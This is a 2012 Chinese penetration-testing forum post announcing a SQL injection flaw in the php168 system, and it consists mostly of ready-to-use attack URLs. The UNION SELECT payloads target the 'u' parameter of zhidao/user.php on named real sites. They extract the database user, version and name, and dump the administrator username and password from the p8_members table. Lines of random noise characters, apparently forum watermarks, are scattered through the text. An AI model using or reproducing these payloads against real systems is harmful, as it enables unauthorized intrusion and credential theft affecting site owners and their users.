中国网络渗透测试联盟

标题: php168某系统注入漏洞 [打印本页]

作者: admin 时间: 2012-10-18 08:52
标题: php168某系统注入漏洞
http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
" K/ Z0 s: V9 N                                                       # l" K' \) B( r4 C
                                    [attach]94[/attach]
" {. r4 \$ \2 W: U0 }% U" S" P3 }8 u# H1 O* L
http://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
6 V6 H" S# d8 _# L# ^
$ K6 H" O* r" V
! c% P& ]2 C0 y                                                       [attach]95[/attach]3 Q5 p) V0 f' p9 I9 V% R" B
http://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--* a& k5 F  [" d; Y4 a% U8 {
5 o, g  k+ I1 Y, J  I7 g
2 o+ q& y5 A* w2 q3 s
: @. s6 C  [- M, o& x2 u* b4 K9 d
                                                         [attach]96[/attach]
# d1 R( Q, w+ j/ A" r% H8 g4 T % v" o/ n4 ^8 G" b# K- W
http://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
' N! u" B% {: E# Z0 g- _# {. l* M$ s/ H2 l( M

8 K; [- e8 Q/ l1 |' s6 v$ \/ _' y" {; H. i) ]9 K; {3 D
                                                                  [attach]97[/attach]
" R" B) }% i1 o) a# u3 C

欢迎光临中国网络渗透测试联盟 (https://cobjon.com/)